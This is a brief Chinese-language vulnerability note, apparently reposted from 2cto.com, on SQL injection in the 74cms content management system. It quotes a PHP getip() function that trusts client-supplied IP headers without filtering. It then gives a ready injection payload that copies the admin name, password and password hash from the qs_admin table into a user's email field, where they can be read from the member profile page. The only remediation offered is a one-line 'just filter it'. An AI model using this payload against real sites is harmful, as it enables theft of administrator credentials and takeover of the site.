74cms sql注入漏洞
function getip()
{
  if(getenv('HTTP_CLIENT_IP')){
  $onlineip=getenv('HTTP_CLIENT_IP');
}else if(getenv('HTTP_X_FORWARDED_FOR')){
  $onlineip=getenv('HTTP_X_FORWARDED_FOR');
}else if(getenv('REMOTE_ADDR')){
  $onlineip=getenv('REMOTE_ADDR');
}else{
  $onlineip=$_SERVER['REMOTE_ADDR'];
}
return $onlineip;
}
ip没过滤

我们可以这样注入
www.2cto.com $getinj="zyday1.1.', email=(SELECT concat(admin_name,0x2f,pwd,0x2f,pwd_hash ) FROM qs_admin) where username = '$dpusername'#";
就是把查询到的账号密码赋值给email...接着在会员中心查看个人资料就可以爆账号和密码和hash了

修复：过滤下就行了